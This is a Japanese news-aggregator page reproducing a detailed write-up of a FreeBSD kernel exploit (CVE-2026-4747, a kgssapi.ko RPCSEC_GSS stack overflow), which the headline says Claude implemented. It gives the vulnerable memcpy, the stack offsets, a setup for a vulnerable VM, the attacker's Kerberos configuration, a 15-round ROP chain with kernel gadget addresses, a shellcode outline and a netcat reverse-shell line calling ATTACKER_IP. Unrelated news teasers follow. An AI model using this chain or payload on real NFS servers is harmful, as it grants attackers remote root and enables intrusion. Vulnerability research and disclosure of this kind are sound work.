Claude が完全に実装した、FreeBSD のリモートカーネル権限昇格(RCE)で、root シェルを取得するものです。

2026/04/01 14:21

Claude が完全に実装した、FreeBSD のリモートカーネル権限昇格(RCE)で、root シェルを取得するものです。

RSS: https://news.ycombinator.com/rss

要約

Japanese Translation:

FreeBSD の

kgssapi.ko
モジュールに存在する CVE‑2026‑4747 欠陥は、スタックバッファオーバーフローであり、リモート攻撃者が対話型リバースシェルを介して完全な root アクセスを取得できるものです。このバグは、ポート 2049/TCP で
kgssapi.ko
がロードされた状態の NFS サーバーが、資格情報本文が 96 バイトを超える RPCSEC_GSS DATA パケットを処理するときに発生します。
svc_rpc_gss_validate()
へのコピー操作が callee‑saved レジスタとリターンアドレスをオーバーフローさせます。パッチ (14.4‑RELEASE‑p1) は境界チェック
if (oa->oa_length > sizeof(rpchdr)-8*BYTES_PER_XDR_UNIT)
を追加し、このオーバーフローを防止します。

影響を受けるリリースは、FreeBSD 13.5 (<p11)、14.3 (<p10)、14.4 (<p1) および 15.0 (<p5) です。脆弱性は、GENERIC カーネルで KASLR が無効化され、少なくとも 2 CPU(16 の NFS ワーカー・スレッド)がある 14.4‑RELEASE amd64 システムでテストされました。それ以外の場合、エクスプロイトは第 9 ラウンド付近で失敗します。

攻撃には、

nfs/test@REALM
プリンシパル用の有効な Kerberos GSS コンテキストと特定のクライアント設定(
rdns = false
dns_canonicalize_hostname = false
)が必要です。エクスプロイトは 15 個のオーバーサイズ RPCSEC_GSS パケットを送信し、それぞれが
kthread_exit()
を介して一つの NFS ワーカー・スレッドを停止させます。すべてのスレッドが上書きされた後、ROP チェーン(固定カーネルアドレス
0xffffffff80e3457c
などを使用)によりシェルコードがカーネル BSS に書き込まれ、実行可能にされてジャンプします。シェルコードは
kproc_create
を用いて新しいプロセスを作成し、
kern_execve()
を介して
/bin/sh
を実行することで、netcat 上の対話型 root リバースシェルを提供します。

NFS over Kerberos を公開している上記の影響を受ける FreeBSD リリースを実行しているシステムは、ネットワーク全体やサービスを侵害できるリモートコード実行に対して脆弱です。

本文

CVE‑2026‑4747 – FreeBSD kgssapi.ko RPCSEC_GSS スタックバッファオーバーフロー


1. 脆弱性概要

項目内容
影響リリースFreeBSD 13.5 (<p11)、14.3 (<p10)、14.4 (<p1)、15.0 (<p5)
コンポーネント
kgssapi.ko
– カーネル内の RPCSEC_GSS 認証モジュール
トリガーGSS 資格情報本体が 96 バイトを超える RPC パケット
影響リモートでカーネル RCE → uid 0 のリバースシェル取得
パッチ14.4‑RELEASE‑p1 は
oa_length
に対する境界チェックを追加

2. オーバーフローの発生メカニズム

int32_t rpchdr[128/sizeof(int32_t)];
// 固定ヘッダフィールドに 32 バイトを書き込む
memcpy((caddr_t)buf, oa->oa_base, oa->oa_length);   // ←境界チェック無し
  • rpchdr
    はスタック上で 128 バイトを占有。
  • ヘッダー分の 32 バイトを書き込んだ後、残りは 96 バイト
  • oa_length > 96
    の場合、コピー先がバッファ外へ書き込み、ローカル変数・保存レジスタ・最終的には戻りアドレスまで上書きされる。

スタックレイアウト(簡易化)

[rbp-0xe0]   ローカル変数
[rbp-0xc0]   rpchdr[0]
[rbp-0xa0]   memcpy 先 (オーバーフロー開始)
...
[rbp-0x28]   保存 RBX
[rbp-0x20]   保存 R12
[rbp-0x18]   保存 R13
[rbp-0x10]   保存 R14
[rbp-0x08]   保存 R15
[rbp+0x00]   保存 RBP
[rbp+0x08]   RETURN ADDRESS   ←オーバーフローで上書きされる

戻りアドレスへの実際のオフセットは 200 バイト(16 バイトの GSS コンテキストハンドルと XDR パディングが原因)である。


3. なぜ NFS と Kerberos?

  • kgssapi.ko
    は RPCSEC_GSS を実装しており、カーネル内で利用される唯一のサービスは NFS (
    nfsd
    )。
  • 攻撃は、有効な GSS コンテキスト(Kerberos チケット
    nfs/<hostname>@REALM
    )を確立した上で脆弱な
    memcpy
    に到達する必要がある。

4. 対象環境 (Option A – QEMU Cloud‑Init)

# イメージのダウンロード
wget https://download.freebsd.org/releases/VM-IMAGES/14.4-RELEASE/amd64/Latest/
FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
xz -d *.xz

# 変更とコピー
cp FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2 freebsd-vuln.qcow2
qemu-img resize freebsd-vuln.qcow2 8G

# Cloud‑init user-data
cat > user-data <<'EOF'
#cloud-config
chpasswd:
  list: |
    root:freebsd
  expire: False
ssh_pwauth: True
bootcmd:
  - rm -f /firstboot
  - rm -f /var/db/freebsd-update/*
runcmd:
  - echo 'PermitRootLogin yes' >> /etc/ssh/sshd_config
  - service sshd restart
  - kldload kgssapi
  - sysrc rpcbind_enable=YES nfs_server_enable=YES
  - echo '/export -network 0.0.0.0/0' > /etc/exports
  - mkdir -p /export
  - service rpcbind start && service nfsd start
EOF

# Cloud‑init meta-data と ISO 作成
cat > meta-data <<'EOF'
instance-id: cve-test
local-hostname: freebsd-vuln
EOF
genisoimage -output seed.iso -volid cidata -joliet -rock user-data meta-data

# VM 起動 (2 CPU, 2 GB RAM)
qemu-system-x86_64 -enable-kvm -cpu host -m 2G -smp 2 \
  -drive file=freebsd-vuln.qcow2,format=qcow2,if=virtio \
  -cdrom seed.iso \
  -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
  -device virtio-net-pci,netdev=net0 -nographic
  • KDC のポート 88 をホスト側の 8888 にフォワード。
  • VM 起動時に
    kgssapi
    がロードされ、NFS エクスポート
    /export
    が設定される。

5. 攻撃者環境 (Linux)

  1. パッケージインストール

    sudo apt install krb5-user libkrb5-dev python3-gssapi
    
  2. Kerberos 設定

    VM_IP
    を FreeBSD VM の IP、
    KDC_PORT
    を 88 または 8888 に置き換えてください。

    sudo tee /etc/krb5.conf <<EOF
    [libdefaults]
        default_realm = TEST.LOCAL
        rdns = false
        dns_canonicalize_hostname = false
    [realms]
        TEST.LOCAL = {
            kdc = VM_IP:KDC_PORT
        }
    EOF
    
  3. ホスト名解決の追加

    echo "VM_IP test" | sudo tee -a /etc/hosts
    
  4. チケット取得

    echo password | kinit testuser@TEST.LOCAL
    klist   # krbtgt/TEST.LOCAL@TEST.LOCAL が表示されるはず
    

6. エクスプロイト概要

ラウンド目的ROP アクション
1カーネル BSS を実行可能にする
pmap_change_prot(BSS, RWX)
+
kthread_exit
2–14シェルコードを BSS に書き込む (32 バイトずつ)4 ×
mov [BSS+off], qword
で各ラウンドに 1 スレッドを終了
15最終書き込み & シェルコードへジャンプ2 ×
mov [BSS+off], qword
+ BSS エントリへの直接呼び出し
  • 各ラウンドで NFS ワーカー・スレッド (
    kthread_exit
    ) が終了する。
  • 最低 2 CPU (16 スレッド) が必要で、1 CPU の場合は約ラウンド 9 で失敗。

ROP ガジェット(
ROPgadget
による検索)

ガジェットアドレス (カーネルベース + オフセット)
pop rdi; ret
K+0x1adcda
pop rsi; ret
K+0x1cdf98
pop rdx; ret
K+0x5fa429
pop rax; ret
K+0x400cb4
mov [rdi], rax; ret
0xffffffff80e3457c
  • カーネルベース (
    K
    ) は FreeBSD 14.x で KASLR が無効なため 0xffffffff80200000

7. シェルコード概要

  1. エントリ (NFS スレッド)

    • スタックをクリーンな RWX ページへピボット。
    • ハードウェアデバッグレジスタ (
      DR7
      ) をクリア。
    • kproc_create(worker_fn, NULL, NULL, 0, 0, "/bin/sh")
      を呼び出し、ワーカーを生成。
    • NFS スレッドは
      kthread_exit
      で終了。
  2. ワーカー (新規カーネルプロセス)

    • 引数ベクタ (
      exec_alloc_args
      ,
      exec_args_add_*
      ) を割り当て。
    • /bin/sh -c "<reverse‑shell>"
      をセットアップ。
    • kern_execve
      でユーザランドへ切替。
    • P_KPROC
      フラグをクリアし、
      fork_exit
      がプロセスを終了させないようにする。
    • 通常実行へ戻り、シェルが起動。
  3. リバースシェルペイロード

    mkfifo /tmp/f; sh </tmp/f | nc ATTACKER_IP 4444 > /tmp/f
    

8. ポイントと落とし穴

  • Kerberos のホスト名解決
    rdns = false
    dns_canonicalize_hostname = false
    は必須。
  • GSS プリンシパルタイプ
    gssapi.NameType.kerberos_principal
    を使用。
  • デバッグレジスタ
    DR7
    をクリアせずに
    kproc_create()
    を呼ぶと子プロセスがブレークポイントを継承し、デバッグ例外でクラッシュ。
  • NFS スレッド数 – 15 ラウンド全て完了するには最低 16 スレッド(2 CPU)が必要。

9. 成果

約 45 秒 (15 回の RPCSEC_GSS オーバーフロー) 後、攻撃者側にインタラクティブな root リバースシェルが現れます:

$ id
uid=0(root) gid=0(wheel)

このエクスプロイトは、標準的な NFS と Kerberos サービスのみを利用し、ユーザ空間から特権コードへリモートカーネル RCE を実現する完全なパイプラインであることを示しています。

同じ日のほかのニュース

一覧に戻る →

2026/04/02 8:35

新しいC++バックエンド for `ocamlc`

## 日本語訳: 新しいC++バックエンドが `ocamlc` に追加され、インクリメントされていない C ランタイムと外部関数インタフェースを置き換えました。著者は、ユーザーが指定した上限まで素数を生成するプログラムでその使用例を示しています。このプログラムは OCaml の List モジュールの一部を純粋に関数型スタイルで再実装しています。プログラムは `primes.cpp` という慣用的な C++ コードへ翻訳され、`Cons`、`I`、`ifthenelse` などのテンプレートメタプログラミング構造を含みます。`g++ -Dlimit=100 primes.cpp` でコンパイルすると、`print` が型ではないためにコンパイラー風エラーが発生し、出力形式は古い C プリプロセッサのエラー(OCaml の `::` の代わりにネストされた `Cons<hd, tl>`)を模倣します。生成されたコードはデフォルトテンプレート深度を増やす (`-ftemplate-depth=999999`) ことでのみ大きな上限を扱うことができます。著者のマシンでは、`limit = 10000` を実行すると約 30 秒で 10000 以下のすべての素数が出力され、約 11 GiB のメモリを使用します。clang++ は遅く、セグフォールトする可能性があります。アルゴリズム自体は非効率的です——コンテナライブラリからの優先度付きキュー/レフトヒープに基づく改良された純粋関数型素数生成器は、同じ上限で実行時間を約 8 秒、メモリ使用量を約 3.1 GiB に削減します。今後の作業では、このアプローチを他言語へ拡張することが目標です;Rust は部分的な実装特殊化がサポートされれば OCaml プログラムを実行できるようになります。 この改訂された要約は、すべての主要ポイントを反映し、不当な推測を避け、明確な主旨を提示し、あいまいまたは混乱を招く表現を排除しています。

2026/04/02 2:11

NASAの「アーテミス II」クルーが月へ発進します

## Japanese Translation: > **Artemis II 発射成功:** オリオンのソーラーアレイ翼が午後6時59分に完全展開し、各翼は約15,000セルを含み、およそ63フィート(19メートル)にわたります。 > > **主要推進マイルストーン:** 固体ロケットブースターが午後6時37分に分離;SLSコアステージの主エンジンカットオフは午後6時43分に発生;その後、コアステージ分離が午後6時59分に行われ、最初の推進フェーズが終了しました。 > > **打ち上げタイミング:** 打ち上げウィンドウは午後6時24分(EDT)で開き、ロケットコンプレックス-39Bからの離陸は午後6時35分に実施されました。 > > **事前準備:** 最終天気ブリーフィング(約80%が許可)、クルー服チェック、ハッチ閉鎖、打ち上げ中止システム検証をカウントダウン前に完了しました。コアステージとICPSのタンク作業はLH₂/LOX のスロー・フィル→ファスト・フィル→リペンリッシュ段階で行われました。 > > **離陸後の計画マヌーバー:** オリオンは低軌道上昇マヌーバー(PRM)を実施し、その後遠地点上昇バーナー(ARB)で深宇宙軌道を形成します。 > > **クルーと運用:** 乗員の4名は司令官レイド・ウィズマン、パイロットビクター・グローバー、クリスティーナ・コッホ、およびCSA宇宙飛行士ジェレミー・ハンセンです。NASAはケネディ宇宙センターで午後9時に打ち上げ後の記者会見を開催し、その後クルーは中間液体推進ステージを使用した近接操作デモンストレーションの準備に取り組みます。

2026/04/02 6:36

DRAM の価格がホビイスト向けのSBC市場を潰しつつあります。

## Japanese Translation: ### 改訂要約 ホビイスト向けのシングルボードコンピュータ(SBC)市場は、DRAM価格が急騰したため圧迫を受けています。Raspberry Pi は LPDDR4 RAM を搭載したすべての Pi モデルの価格を引き上げ、新しい 3 GB‑RAM の Pi 4 を $83.75 に設定し、16 GB の Pi 5 を $299.99 にしました。これらの値上げは主に LPDDR チップのコスト増によるもので、現在ボードコストの大部分を占めています。その結果、4 GB 以上の RAM を搭載したボードは多くのホビイストにとって手が届かないものとなっています。以前はお得だったミニ PC は 8 GB バリアントで $250 を超え、同様に使用済み PC も 4 GB 超で $250 を上回る価格になっています。Radxa は昨年新しいボードをリリースし続けましたが、ほかのベンダーは発売を減速または停止しています。Raspberry Pi の創設者 Eben Upton は「メモリ価格は現在の非常に高い水準で永続するわけではない」と述べており、その期間は不確実です。著者自身のプロジェクトは学習コストを下げ、破損リスクを減らすために $100 未満の部品を対象としています。DRAM 価格が高止まりする場合、ホビイストは古い SBC やマイクロコントローラへ戻る可能性が高く、手頃な選択肢が狭まり、小規模ベンダーは事業停止のリスクに直面します。Raspberry Pi の強力なマイクロコントローラエコシステムと産業基盤はある程度のレジリエンスを提供しますが、ホビイストセグメント全体での多様性は減少する可能性があります。

Claude が完全に実装した、FreeBSD のリモートカーネル権限昇格(RCE)で、root シェルを取得するものです。 | そっか~ニュース